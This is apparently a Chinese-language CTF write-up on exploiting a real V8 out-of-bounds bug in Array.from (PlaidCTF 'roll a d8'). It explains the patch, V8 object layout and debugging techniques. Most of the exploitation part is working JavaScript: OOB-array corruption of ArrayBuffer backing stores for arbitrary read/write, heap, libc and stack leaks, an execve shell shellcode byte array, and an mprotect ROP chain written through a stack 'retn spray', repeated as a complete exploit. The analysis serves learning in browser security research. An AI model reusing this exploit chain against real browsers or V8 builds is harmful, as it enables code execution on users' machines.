v8 exploit入门[PlaidCTF roll a d8]
Hpasserby 二进制安全 16727浏览 · 2019-05-22 01:20

一直想要入门chrome漏洞挖掘,于是就打算从一道CTF题目入手(其实也是一个真实的漏洞),这篇文章记录了我的学习过程,是一个总结,也希望能帮到同样在入门的朋友。

调试环境

v8调试环境搭建

编译

首先进入题目所给出的链接,找到修复bug的commit。

然后可以找到包含漏洞的版本hash值和一个poc文件

然后通过parent的hash值回退到漏洞版本,并进行编译(debug模式)

git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug 
ninja -C out.gn/x64.debug d8

relase模式编译

tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8

v8基础简介

分析与调试技巧

这里先简单介绍一下我学习过程中用到的调试方法。

  1. %DebugPrint()
    这是一个极其常用的函数,可以通过该函数打印出对象的详细信息,如内存地址、属性、map等。运行时使用参数--allow-natives-syntax
    如:

    let arr = [];
     %DebugPrint(arr);
    
    ./d8 --allow-natives-syntax ./test.js
  2. DebugBreak()
    当分析v8源码时,遇到CodeStubAssembler编写的代码,可以在其中插入DebugBreak();,这相当于插入了一个断点(类似int 3),重新编译后使用调试器调试时,可以在插入处断下。

  3. Print()
    同样,遇到CodeStubAssembler编写的代码时,可以使用它来输出一些变量值,函数原型是

    void CodeStubAssembler::Print(const char* prefix, Node* tagged_value)
    

    用法

    //第二个参数是Node*型,可能需要强转
     Print("array", static_cast<Node*>(array.value()));
    

    重新编译后即可。

  4. readline()
    可以添加在js代码中,让程序停下来等待输入,方便使用gdb断下进行调试。该方法比写一个while死循环好在,让程序停下后,还可以让程序继续运行下去。

  5. V8自带gdb调试命令
    在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。

    就可以在gdb中使用v8自带调试命令了
    具体命令可以在gdbinit中自己查阅,注释还是很友好的。我最常用的就是job。

  6. polyfill
    因为我没有系统学过js开发,不是太清楚ployfill在实际开发时的作用(似乎是用来补充一些浏览器缺少的api)。但是在学习v8的过程中对我有极大的帮助,在ployfill中使用js自身实现了许多js的原生函数,这意味着,在调试js原生函数的时候可以通过查看polyfill来了解函数实现细节。而且经过和v8中使用CodeStubAssembler实现的原生函数,可以发现实现逻辑基本一致。

漏洞分析

POC分析

let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
  {
    counter : 0,
    next() {
      let result = this.counter++;
      if (this.counter > maxSize) {
        oobArray.length = 0;
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });
oobArray[oobArray.length - 1] = 0x41414141;

运行该poc,触发crash(注意使用debug编译的d8)

简单的分析该poc
首先创建了一个数组oobArray
然后将function() { return oobArray }作为this参数传入Array.from.call

此处,我查阅了pollyfill中对Array.from的实现(这里对Array.from的分析其实是在下文分析漏洞时进行的,但为了描述的方便,先写在此处)

因为这里Array.from.call的this参数是一个函数,所以会调用var a = new c()
查询javascript中new关键字的返回值可知,当使用new关键字调用一个函数时,若函数返回一个非原始变量(如像object、array或function),那么这些返回值将取代原本应该返回的this实例。
这意味着这里调用c()会返回oobArray,并且此后的操作都将直接修改oobArray

回到poc中,在iterator中可以看到,在最后一次迭代时,将oobArray的长度修改为0
最后的赋值语句触发crash

通过poc可以猜测,可能是最后一次迭代时对oobArray.length的赋值时出现了bug, 导致最后oobArray实际长度与length的值的不同,造成越界访问。
下面进行详细的分析。

源码分析

首先从diff入手,看看如何修复的该漏洞

注意到这里只修改了GenerateSetLength函数中的一个跳转语句,将LessThan修改为NotEqual,这说明极有可能是在length_smi > old_length时的处理出现了问题。但仍需进一步分析。

CodeStubAssembler简介

这里分析将涉及到CodeStubAssembler代码,这里先简单介绍一下。

v8为了提高效率,采用了CodeStubAssembler来编写js的原生函数,它是是一个定制的,与平台无关的汇编程序,它提供低级原语作为汇编的精简抽象,但也提供了一个扩展的高级功能库。

这里我简单记录其中几个的语法,一些是我自己推测理解的,仅供参考。。

  • TF_BUILTIN:创建一个函数
  • Label:用于定义将要用到的标签名,这些标签名将作为跳转的目标
  • BIND:用于绑定一个标签,作为跳转的目标
  • Branch:条件跳转指令
  • VARIABLE:定义一些变量
  • Goto:跳转

漏洞代码逻辑

建议使用IDE之类来查看代码,方便搜索和跳转。

首先查看GenerateSetLength函数

void GenerateSetLength(TNode<Context
![bugs.png](https://xzfile.aliyuncs.com/media/upload/picture/20190518140708-2b0445e4-7933-1.png)
 context, TNode<Object> array,
                         TNode<Number> length) {
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.

    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    BranchIfFastJSArray(array, context, &fast, &runtime);

    BIND(&fast);
    {
      TNode<JSArray> fast_array = CAST(array);

      TNode<Smi> length_smi = CAST(length);

      TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
      CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

      EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

      // 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);

      StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi);
      Goto(&done);
    }

    BIND(&runtime);
    {
      CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
                  CodeStubAssembler::LengthStringConstant(), length,
                  SmiConstant(LanguageMode::kStrict));
      Goto(&done);
    }

    BIND(&done);
  }
};

首先判断是否具有fast element,这里poc代码执行时会进入&fast分支

随后若length_smi < old_length,就跳转到&runtime,否则执行StoreObjectFieldNoWriteBarrier

根据源码注释可以知道,&runtime会进行内存的缩减
而分析StoreObjectFieldNoWriteBarrier函数,这应该是一个赋值函数,将arraylength属性值修改为length_smi

前面我们猜测是length_smi > old_length时出现问题,通过这里的分析,漏洞根源似乎更明了了。
length_smi > old_length,程序不会执行&runtime去进行缩减内存等操作,而是会直接修改length的值。那么可以猜测是将较大的length_smi写入了数组的length,导致数组的长度属性值大于了实际长度,造成了越界访问。

看到这里,感觉仍然没有完全分析透彻,不知道函数各个参数的具体来源都是什么,也不知道为什么length_smi会大于old_length

于是尝试寻找调用该函数的上层函数,搜索后定位到了TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler),代码比较长,不过还是得慢慢看。
(之所以确定这个函数,是因为poc中确实正好调用了Array.from)

// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {

  ...
  TNode<JSReceiver> array_like = ToObject(context, items);

  TVARIABLE(Object, array);
  TVARIABLE(Number, length);

  // Determine whether items[Symbol.iterator] is defined:
  IteratorBuiltinsAssembler iterator_assembler(state());
  Node* iterator_method =
      iterator_assembler.GetIteratorMethod(context, array_like);
  Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

  // 如果可以迭代
  BIND(&iterable);
  {
    ...
    // 返回一个数组,用于存储迭代后得到的结果
    // Construct the output array with empty length.
    array = ConstructArrayLike(context, args.GetReceiver());

    ...
    Goto(&loop);

    //开始迭代
    BIND(&loop);
    {
      // 判断迭代是否结束
      // Loop while iterator is not done.
      TNode<Object> next = CAST(iterator_assembler.IteratorStep(
          context, iterator_record, &loop_done, fast_iterator_result_map));
      TVARIABLE(Object, value,
                CAST(iterator_assembler.IteratorValue(
                    context, next, fast_iterator_result_map)));

      ...
      // 将得到的结果存入array
      // Store the result in the output object (catching any exceptions so the
      // iterator can be closed).
      Node* define_status =
          CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                      index.value(), value.value());
      GotoIfException(define_status, &on_exception, &var_exception);

      // 索引加1
      index = NumberInc(index.value());

      ...
      Goto(&loop);
    }

    //迭代结束
    BIND(&loop_done);
    {
      //将迭代次数赋值给length变量
      length = index;
      Goto(&finished);
    }
    ...
  }

  ...
  BIND(&finished);

  // 调用GenerateSetLength,将array和迭代次数作为参数
  // Finally set the length on the output and return it.
  GenerateSetLength(context, array.value(), length.value());
  args.PopAndReturn(array.value());
}

配合源码注释,可以基本了解函数流程。当然,这里还可以参考polyfill中的实现。

在可以迭代的情况下,会使用ConstructArrayLike返回一个数组array,用于存储迭代输出的结果。配合前文分析的polyfill中的实现,这里返回的数组就是oobArray
这里也可以通过输出调试信息来进行验证

然后会进入到BIND(&loop)块,这应该就是在使用Symbol.iterator在进行迭代,每次迭代所得到的值都会存入array

迭代结束后将进入&loop_done,这里将index赋值给了length,也就是说length中存储的是迭代次数

最后调用了我们已经分析过的GenerateSetLength,三个参数分别是context,用于存储结果的array,迭代次数length

漏洞原理总结

结合前面GenerateSetLength的分析,我们就可以得出整个array.from的处理逻辑

当在Array.from中迭代完成后调用了GenerateSetLength

GenerateSetLength中,若迭代次数小于array的长度,意味着array的长度大于了需求的长度,那么就需要对内存进行整理,释放多余的空间。

这里我的想法是,迭代时是按顺序依次遍历每个元素,那么array的前length_smi个元素一定是被迭代访问过的且也是仅访问过的,后面多出的元素都不是迭代得到的,所以可以去掉。

然而开发者似乎忽略了传入的数组可以是初始数组本身的情况,从而认为数组长度应该不会小于迭代次数(因为每次迭代都会创建一个新的数组元素)

所以若数组是初始数组,那么我们就可以在迭代途中修改数组的长度。将正在迭代的数组长度缩小,那么就会导致数组多余的空间被释放,但是在GenerateSetLength中,又将array.length直接改写为较大的length_smi(迭代次数),导致长度属性值大于实际长度,造成越界访问。

漏洞利用

V8内存模型

Tagged Value

在v8中,存在两种类型,一个是Smi((small integer),一个是指针类型。由于对齐,所以指针的最低位总是0,Tagged Value就是利用了最低位来区别Smi和指针类型。当最低位为1时,表示这是一个指针,当最低位为0,那么这就是一个Smi。

  • Smi
    为了节约内存、加快运算速度等,实现了一个小整数类型,被称作Smi。
    在32位环境中,Smi占据32位,其中最低位为标记位(为0),所以Smi只使用了31位来表示值。
    在64位环境中,Smi占据64位,其中最低位为标记位(为0),但是只有高32位用于表示值,低32位都为0(包括标记位)
  • 指针
    最低位为1,在访问时需要将最低位置回0

JsObject

在V8中,JavaScript对象初始结构如下所示

[ hiddenClass / map ] -> ... ; 指向Map
[ properties        ] -> [empty array]
[ elements          ] -> [empty array]
[ reserved #1       ] -\
[ reserved #2       ]  |
[ reserved #3       ]  }- in object properties,即预分配的内存空间
...............        |
[ reserved #N       ] -/
  • Map中存储了一个对象的元信息,包括对象上属性的个数,对象的大小以及指向构造函数和原型的指针等等。同时,Map中保存了Js对象的属性信息,也就是各个属性在对象中存储的偏移。然后属性的值将根据不同的类型,放在properties、element以及预留空间中。
  • properties指针,用于保存通过属性名作为索引的元素值,类似于字典类型
  • elements指针,用于保存通过整数值作为索引的元素值,类似于常规数组
  • reserved #n,为了提高访问速度,V8在对象中预分配了的一段内存区域,用来存放一些属性值(称为in-object属性),当向object中添加属性时,会先尝试将新属性放入这些预留的槽位。当in-onject槽位满后,V8才会尝试将新的属性放入properties中。

当然,这里的介绍十分简略,详细细节可以参考文末给出的一些参考链接

ArrayBuffer && TypedArray

  • ArrayBuffer
    ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer 不能直接操作,而是要通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。
  • TypedArray
    用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float64Array(64位浮点数)数组视图等等。

简单的说,ArrayBuffer就代表一段原始的二进制数据,而TypedArray代表了一个确定的数据类型,当TypedArray与ArrayBuffer关联,就可以通过特定的数据类型格式来访问内存空间。
这在我们的利用中十分重要,因为这意味着我们可以在一定程度上像C语言一样直接操作内存。

内存结构

在ArrayBuffer中存在一个BackingStore指针,这个指针指向的就是ArrayBuffer开辟的内存空间,可以使用TypedArray指定的类型读取和写入该区域,并且,这片内存区域是位于系统堆中的而不是属于GC管理的区域。

常见利用有:

  1. 可以如果修改ArrayBuffer中的Length,那么就能够造成越界访问。
  2. 如果能够修改BackingStore指针,那么就可以获得任意读写的能力了,这是非常常用的一个手段
  3. 可以通过BackingStore指针泄露堆地址,还可以在堆中布置shellcode。

JsFunction

在V8利用中,function也常常成为利用的一个目标。其内存结构如下:

其中,CodeEntry是一个指向JIT代码的指针(RWX区域),如果具有任意写能力,那么可以向JIT代码处写入自己的shellcode,实现任意代码执行。
但是,在v8 6.7版本之后,function的code不再可写,所以不能够直接修改jit代码了。本文漏洞将不采用修改jit代码的方法
(注:内存布局图是根据sakura师傅的博客重画的,但是我调试后发现,貌似函数代码指针应该在kLiteralsOffset的位置)

自制类型转换小工具

在v8利用中,不可避免的会读写内存。而读写内存就会使用到前文提到的ArrayBuffer && TypedArray。在64位程序中,因为没有Uint64Array,所以要读写8字节的内存单元只能使用Float64Array(或者两个Uint32),但是float类型存储为小数编码,所以为了方便读写,我们需要自己实现一个Uint64与Float64之间转换的小工具

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    d2u(val){        //double ==> Uint64
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    u2d(val){        //Uint64 ==> double
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
var mem = new Memory();

任意读写能力

根据前文对poc的分析,可以知道,我们能够构造出一个可以越界访问的数组(属性length值 > 实际长度)。
那么,如果可以在该数组后面内存中布置一些我们可控的对象,如ArrayBuffer,那么就可以通过修改BackingStore来实现任意读写了。
这里,我们还想要能够泄露任意对象的地址,可以在oobArray后布置一个普通js对象,只要将目标对象作为该对象的属性值(in-object属性),然后通过越界读取,就可以泄露出目标对象的地址了。

注意,利用过程需要使用release编译的文件。

var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;

Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
    {
        counter : 0,
        next() {
            let result = 1.1;
            this.counter++;
            if (this.counter > maxSize) {
                oobArray.length = 1;
                for (let i = 0;i < 100;i++) {
                    bufs.push(new ArrayBuffer(0x1234));
                    let obj = {'a': 0x4321, 'b': 0x9999};
                    objs.push(obj);
                }
                return {done: true};
            } else {
                return {value: result, done: false};
            }
        }
    }
)});

首先创建两个列表,bufs用于存储ArrayBuffer对象,objs用于存储普通Js对象

在最后一次迭代中,先将oobArray的长度缩减为1(不能为0,否则对象将被回收),然后创建100个ArrayBuffer对象和普通js对象,我们希望创建的这些对象能够有一个落在oobArray所在内存后方,能够通过越界访问控制。

然后我们就需要通过越界访问,对内存进行搜索,判断是否有我们创建的可控对象。
其中ArrayBuffer是通过搜索其length值0x1234(在内存中Smi表示为0x123400000000)来定位
普通js对象通过搜索其'a'属性的值0x4321(在内存中Smi表示为0x432100000000)来定位

// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
    let val = mem.d2u(oobArray[i]);
    if(val === 0x123400000000){
        console.log("buf_offset: " + i.toString());
        buf_offset = i;
        oobArray[i] = mem.u2d(0x121200000000);  //修改可控buf的length,做个标记
        oobArray[i + 3] = mem.u2d(0x1212);      //有两处保存了length值
        break;
    }
}

// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
    let val = mem.d2u(oobArray[i]);
    if(val === 0x432100000000){
        console.log("obj_offset: " + i.toString());
        obj_offset = i;
        oobArray[i] = mem.u2d(0x567800000000);  //修改可控obj的属性a,做个标记
        break;
    }
}

// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
    let val = bufs[i].byteLength;
    if(val === 0x1212){                         //查找被修改了length的buf
        console.log("found controllable buf at idx " + i.toString());
        controllable_buf_idx = i;
        break;
    }
}

// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
    let val = objs[i].a;
    if(val === 0x5678){                         //查找属性a被修改了的obj
        console.log("found controllable obj at idx " + i.toString());
        controllable_obj_idx = i;
        break;
    }
}


这样我们就成功获得了一个可控的ArrayBuffer和一个JS对象,然后就可以写一个小工具来方便我们的任意读写了。

class arbitraryRW{
    constructor(buf_offset, buf_idx, obj_offset, obj_idx){
        this.buf_offset = buf_offset;
        this.buf_idx = buf_idx;
        this.obj_offset = obj_offset;
        this.obj_idx = obj_idx;
    }
    leak_obj(obj){
        objs[this.obj_idx].a = obj;                     //修改obj.a的值为目标对象
        return mem.d2u(oobArray[this.obj_offset]) - 1;  //读出属性a的值,因为oobArray是以double的格式读出,所以需要转换为Uint64
    }
    read(addr){
        let idx = this.buf_offset;
        oobArray[idx + 1] = mem.u2d(addr);              //修改BackingStore指针指向目标地址
        oobArray[idx + 2] = mem.u2d(addr);              //修改BitField指针指向目标地址(因为调试发现该值总和BackingStore相同)
        let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
        return mem.d2u(tmp[0]);
    }
    write(addr, val){
        let idx = this.buf_offset;
        oobArray[idx + 1] = mem.u2d(addr);
        oobArray[idx + 2] = mem.u2d(addr);
        let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
        tmp.set([mem.u2d(val)]);                        //将欲存储的Uint64值转为double形式写入
    }
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);

信息泄露

在拥有了任意读写的能力后,其实已经可以通过改写函数jit代码来实现任意代码执行了。
但是我在编译完v8后发现,该版本为6.7,恰好是已经不能够修改jit代码的版本了,所以还得使用其他办法(ROP)

泄露堆地址

我们知道,BackingStore指针指向的就是系统堆的地址,只需要通过越界读取ArrayBuffer就能泄露出来

var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));

泄露libc基址

关于泄露libc的办法,我没有在网上搜到比较详细的方法(没有看懂Sakura师傅的方法

所以我采用了一个比较暴力的办法—————搜索堆内存。

因为ctf pwn的经验,我知道在堆内存中一定存在某个堆块的fd或者bk指向libc中的地址。所以我尝试通过堆块的size和prevsize遍历堆中的chunk,搜索libc地址。

这里我认为在fd或者bk位置上的数值,只要是0x7f开头的,一定是libc中的&main_arena+88
同时,又因为libc基址是12位对齐的,所以将搜索到的地址减去固定偏移0x3c4000(根据libc版本而定),即可获得基址

let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
    let size = arw.read(curr_chunk + 0x8);
    let prev_size = arw.read(curr_chunk);
    if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
        let tmp_ptr = curr_chunk - prev_size;
        let fd = arw.read(tmp_ptr + 0x10);
        let bk = arw.read(tmp_ptr + 0x18)
        if(parseInt(fd / 0x10000000000) === 0x7f){
            searched = fd;
            break;
        }else if(parseInt(bk / 0x10000000000) === 0x7f){
            searched = bk;
            break;
        }
    } else if(size < 0x20) {
        break;
    }
    size = parseInt(size / 8) * 8
    curr_chunk += size;
}

if(searched !== 0){
    var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
    console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
    console.log("Not found")
}

这里我是以事先泄露的堆地址为起点进行搜索的,所以平均情况下,实际只搜索了一半的堆内存,有一定几率没有结果。

泄露栈地址

泄露栈地址的原因在后文会进行解释。

在libc中存在一个全局变量叫做environ,是一个指向环境变量的指针,而环境变量恰好是存储在栈上高地址的,所以可以通过这个指针泄露出栈的地址。

let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));

注意,在使用栈地址时要适当的减一些,不要修改到了高地址的环境变量,否则容易abort。

布置shellcode

在成功泄露出libc基址之后,如果按照ctf中getshell的思路,其实已经可以通过将malloc_hook修改为one_gadget实现getshell。

但是,这里我们想要获得的是任意代码执行,所以还是得通过shellcode的方案。

let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);

for(let i = 0; i < sc.length; i++){
    shellcode[i] = sc[i];
}

let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));

这里我将shellcode全部写入了一个ArrayBuffer中,然后泄露出了shellcode的地址

ROP

布置完成shellcode之后,我们需要通过rop来修改shellcode所在内存执行权限。

首先构造出我们的rop链

let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;

let rop =  [
    pop_rdi,
    parseInt(shell_addr / 0x1000) * 0x1000, //shellcode的地址,需要对齐
    pop_rsi,
    4096,
    pop_rdx,
    7,
    mprotect,                               //调用mprotect修改内存权限
    shell_addr                              //返回地址为shellcode
];

构造好rop链之后,就要考虑如何劫持程序流程到rop链上了。

前文我们成功泄露出了栈地址,这里我们将采用一个技巧(和堆喷类似,我叫它栈喷2333)。

因为我们获得的栈地址几乎可以说是栈最高的地址,所以我们可以在栈上地址由高到低连续布置retn,这样一旦程序的某个返回地址被我们的retn覆盖,那么程序就会不断的retn下去。

只要我们在最高地址处布置上我们的rop链,那么程序在经过一段retn之后,就会来到我们的rop链上了。

代码如下:

let retn = 0x000000000007EF0D + libc_base;

let rop_start = stack_addr - 8 * (rop.length + 1);  //先将栈提高,以免修改到了环境变量
for (let i = 0; i < rop.length; i++) {
    arw.write(rop_start + 8 * i, rop[i]);           //在高地址布置上我们的shellcode
}

for (let i = 0; i < 0x100; i++) {                   //不断向低地址写retn
    rop_start -= 8;
    arw.write(rop_start, retn);
}
print("done");

这里写入了0x100个retn是实验出来的,值太大或太小都不能成功。

完整利用

EXP

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    d2u(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    u2d(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
var mem = new Memory();

var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;

Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
    {
        counter : 0,
        next() {
            let result = 1.1;
            this.counter++;
            if (this.counter > maxSize) {
                oobArray.length = 1;
                for (let i = 0;i < 100;i++) {
                    bufs.push(new ArrayBuffer(0x1234));
                    let obj = {'a': 0x4321, 'b': 0x9999};
                    objs.push(obj);
                }
                return {done: true};
            } else {
                return {value: result, done: false};
            }
        }
    }
)});

function test() {}  //没什么用,但是去掉后栈的位置会迷之提高(地址偏低),导致后面布置ROP失败
for (let i = 0;i < 1000;i++) {
    test();
}

// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
    let val = mem.d2u(oobArray[i]);
    if(val === 0x123400000000){
        console.log("buf_offset: " + i.toString());
        buf_offset = i;
        oobArray[i] = mem.u2d(0x121200000000);  //修改可控buf的size,做个标记
        oobArray[i + 3] = mem.u2d(0x1212);
        break;
    }
}

// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
    let val = mem.d2u(oobArray[i]);
    if(val === 0x432100000000){
        console.log("obj_offset: " + i.toString());
        obj_offset = i;
        oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a,做个标记
        break;
    }
}

// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
    let val = bufs[i].byteLength;
    if(val === 0x1212){
        console.log("found controllable buf at idx " + i.toString());
        controllable_buf_idx = i;
        break;
    }
}

// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
    let val = objs[i].a;
    if(val === 0x5678){
        console.log("found controllable obj at idx " + i.toString());
        controllable_obj_idx = i;
        break;
    }
}

var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));

class arbitraryRW{
    constructor(buf_offset, buf_idx, obj_offset, obj_idx){
        this.buf_offset = buf_offset;
        this.buf_idx = buf_idx;
        this.obj_offset = obj_offset;
        this.obj_idx = obj_idx;
    }
    leak_obj(obj){
        objs[this.obj_idx].a = obj;
        return mem.d2u(oobArray[this.obj_offset]) - 1;
    }
    read(addr){
        let idx = this.buf_offset;
        oobArray[idx + 1] = mem.u2d(addr);
        oobArray[idx + 2] = mem.u2d(addr);
        let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
        return mem.d2u(tmp[0]);
    }
    write(addr, val){
        let idx = this.buf_offset;
        oobArray[idx + 1] = mem.u2d(addr);
        oobArray[idx + 2] = mem.u2d(addr);
        let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
        tmp.set([mem.u2d(val)]);
    }
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);

let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
    let size = arw.read(curr_chunk + 0x8);
    let prev_size = arw.read(curr_chunk);
    if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
        let tmp_ptr = curr_chunk - prev_size;
        let fd = arw.read(tmp_ptr + 0x10);
        let bk = arw.read(tmp_ptr + 0x18)
        if(parseInt(fd / 0x10000000000) === 0x7f){
            searched = fd;
            break;
        }else if(parseInt(bk / 0x10000000000) === 0x7f){
            searched = bk;
            break;
        }
    } else if(size < 0x20) {
        break;
    }
    size = parseInt(size / 8) * 8
    curr_chunk += size;
}

if(searched !== 0){
    var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
    console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
    console.log("Not found")
}

/*
//修改malloc_hook实现getshell
malloc_hook = 0x3c4b10 + libc_base;
one_gadet = 0x4526a + libc_base;
arw.write(malloc_hook, [mem.u2d(one_gadet)]);
*/

let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));

let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);
for(let i = 0; i < sc.length; i++){
    shellcode[i] = sc[i];
}

let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));


let retn = 0x000000000007EF0D + libc_base;
let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;

let rop =  [
    pop_rdi,
    parseInt(shell_addr / 0x1000) * 0x1000,
    pop_rsi,
    4096,
    pop_rdx,
    7,
    mprotect,
    shell_addr
];

let rop_start = stack_addr - 8 * (rop.length + 1);
for (let i = 0; i < rop.length; i++) {
    arw.write(rop_start + 8 * i, rop[i]);
}

for (let i = 0; i < 0x100; i++) {
    rop_start -= 8;
    arw.write(rop_start, retn);
}
print("done");

总结

虽然写完了exp,但是还是有一个玄学问题没有解决,在exp中必须要添加一个没什么用的函数并jit优化它,然后才能成功getshell。如果将它去掉,那么在最后"栈喷"的时候,程序的rsp距离我们泄露的栈地址贼远,没办法喷过去2333,调了很久也没弄清楚原因,希望有大佬知道的话能够告知一下。
(萌新刚入门,文章如果有错误请师傅们谅解,如果发现我一定更正。

参考资料

v8基础

6 条评论
某人
表情
可输入 255